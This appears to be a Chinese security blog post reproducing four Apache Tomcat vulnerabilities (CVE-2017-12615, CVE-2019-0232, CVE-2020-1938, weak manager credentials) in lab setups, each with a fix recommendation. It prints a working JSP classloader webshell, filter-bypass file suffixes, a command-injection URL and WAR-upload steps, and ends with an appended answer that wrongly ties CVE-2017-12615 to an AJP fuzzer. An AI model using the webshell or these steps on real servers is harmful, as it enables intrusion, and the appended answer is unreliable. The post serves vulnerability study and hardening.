常见中间件——Tomcat漏洞复现分析

Tomcat 任意文件写入(CVE-2017-12615)

影响范围: Tomcat 7.0.0-7.0.81(默认配置)

测试环境:Apache Tomcat v8.5.39

漏洞本质

Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致我们可以往服务器写文件
如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的CVE-2017-12615漏洞

docker打开环境https://github.com/vulhub/vulhub
在这里插入图片描述

docker ps
docker exec -ti 9eb90787a80f bash
cat conf/web.xml | grep readonly

在这里插入图片描述

原因

可以看到Tomcat配置文件/conf/web.xml 配置了可写(readonly=false)

抓个包,修改一下数据包改成put,写入一个jsp文件

可以看到成功写入任意文件
在这里插入图片描述
在这里插入图片描述

既然可以写入任意文件,那也可以写入后门来getshell

jsp木马

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

在这里插入图片描述

如存在过滤

绕过方式:

文件后缀加/ ( 应用系统中 /在文件名中是非法的,会被自动去除)
文件后缀加::$DATA
文件后缀加&20 (windows不允许空格结尾

修复建议

将readonly=true,默认为true。

Tomcat 远程代码执行(CVE-2019-0232)

影响范围:9.0.0.M1 ~ 9.0.17 , 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93

测试环境:Apache Tomcat v8.5.39(apache V8.5.39)、windows

漏洞本质

CVE-2019-0232漏洞是由于Tomcat CGI将命令行参数 传递给Windows程序的方式存在错误,使得CHIServler被命令注入影响。该漏洞只影响Windows平台,要求启用了CGIServlet和enableCmdLineArguments参数但是CGIServlet和enableCmdLineArguments参数默认情况下都不启用

376行和419行取消注释并添加参数

在这里插入图片描述
在这里插入图片描述

<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>

在这里插入图片描述
在这里插入图片描述

在content.xml 19行处添加privileged属性为true
在这里插入图片描述

在Tomcat\webapps\ROOT\WEB-INF新建cgi目录,并创建xxx.bat文件,名字内容任意。

bin目录下startup.bat 开启tomcat服务

访问http://your-ip/cgi-bin/test.bat?&C:/Windows/System32/net+user,执行net user 命令
(net命令的路径要写全,直接写net user,Tomcat控制台会提示net不是内部命令,也不是可运行的程序,另 必须使用+号连接,使用空格,%2B都会执行失败,控制台报错。)
在这里插入图片描述

修复建议

这个默认是关闭的,如果打开了请关闭,若需使用请升级版本。

Tomcat 文件包含漏洞(CVE-2020-1938)

影响范围:7 ~ 7.0.099 、8 ~ 8.5.50 、9 ~ 9.0.30

测试环境:Apache Tomcat v9.0.30

漏洞本质

由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下配合文件包含的利用还可以达到远程代码执行的危害
在这里插入图片描述

nmap扫到还有一个AJP端口8009正在监听

使用工具读取 web.xml文件
YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi: Tomcat-Ajp协议文件读取漏洞 (github.com)
在这里插入图片描述

(这里试了一下能不能通过文件包含实现RCE,但是只会读文件不会执行命令不知道怎么回事)

修复建议

将 Tomcat 升级到 9.0.31、8.5.51或 7.0.100 版本进行漏洞修复。如无法立即进行版本更新、或者是更老版本的用户,建议直接关闭AJPConnector,或将其监听地址改为仅监听本机localhost

Tomcat + 弱口令 && 后台getshell漏洞

环境:Apache Tomcat/7.0.94

在conf/tomcat-users.xml文件中配置用户的权限和一个弱口令tomcat/tomcat

Tomcat 7+的权限有:

manager(后台管理)

  • manager-gui拥有html页面权限
  • manager-status拥有查看status的权限
    manager-script拥有text接口权限(包括status权限)
    manager-jmx拥有jmx权限(包括status权限)

host-manager(虚拟主机管理)

  • admin-gui拥有html页面权限
  • admin-script拥有text接口权限
<tomcat-users>
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>

在这里插入图片描述

正常安装的情况下,tomcat7.0.94中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

访问 http://127.0.0.1:8080/manager/html ,输入弱口令tomcat/tomcat进入后台(弱口令可以进行爆破)

在这里插入图片描述

写一个jsp的木马(见上),然后打包成war包,上传的war会被自动解压部署
jar -cvf shell.war shell.jsp

war包是用来进行Web开发时一个网站项目下的所有代码,包括前台HTML/CSS/JS代码,以及后台JavaWeb的代码。
当开发人员开发完毕时,就会将源码打包给测试人员测试,测试完后若要发布则也会打包成War包进行发布。
War包可以放在Tomcat下的webapps或word目录,当Tomcat服务器启动时,War包即会随之解压源代码来进行自动部署。

在这里插入图片描述

可以看到已经上传上去了,接着使用蚁剑连接后门127.0.0.1:8080/shell/shell.jsp

在这里插入图片描述

上传的位置在webapps里
在这里插入图片描述

修复建议

取消manager/html功能。若要使用,manager页面应只允许本地IP访问

转载

常见中间件——Tomcat漏洞复现分析

复现Tomcat漏洞,你可以使用vulhub这个平台。Vulhub是一个提供了各种漏洞环境的Docker镜像集合,其中包括了Tomcat漏洞环境。你可以按照以下步骤进行复现: 1. 首先,确保你已经安装了Docker,并且已经启动了Docker服务。 2. 下载vulhub的代码库,你可以在GitHub上找到它:https://github.com/vulhub/vulhub 3. 进入vulhub的Tomcat漏洞环境目录:cd vulhub/tomcat/CVE-2017-12615 4. 使用Docker Compose启动Tomcat容器:docker-compose up -d 5. 等待容器启动完成后,你可以访问http://localhost:8080来查看Tomcat的欢迎页面。 6. 接下来,你可以使用漏洞复现工具来验证漏洞。在这个漏洞环境中,你可以使用https://github.com/doyensec/ajpfuzzer/releases/download/v0.6/ajpfuzzer_v0.6.jar这个AJP包构造器工具来构造恶意请求。 7. 下载ajpfuzzer_v0.6.jar工具。你可以使用wget命令来下载:wget https://github.com/doyensec/ajpfuzzer/releases/download/v0.6/ajpfuzzer_v0.6.jar 8. 使用ajpfuzzer_v0.6.jar工具来构造恶意请求,将包含任意代码的JSP文件上传到Tomcat服务器上。 9. 然后,你可以访问上传的JSP文件来执行恶意代码。 通过以上步骤,你就可以成功复现Tomcat漏洞。请注意,这仅仅是为了演示和学习目的,不要在未经授权的情况下使用这些技术攻击他人的系统。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [Tomcat系列漏洞复现——vulhub](https://blog.csdn.net/qq_45612828/article/details/125833415)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *3* [vulhub靶场-tomcat漏洞复现](https://blog.csdn.net/m0_62008601/article/details/125922489)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值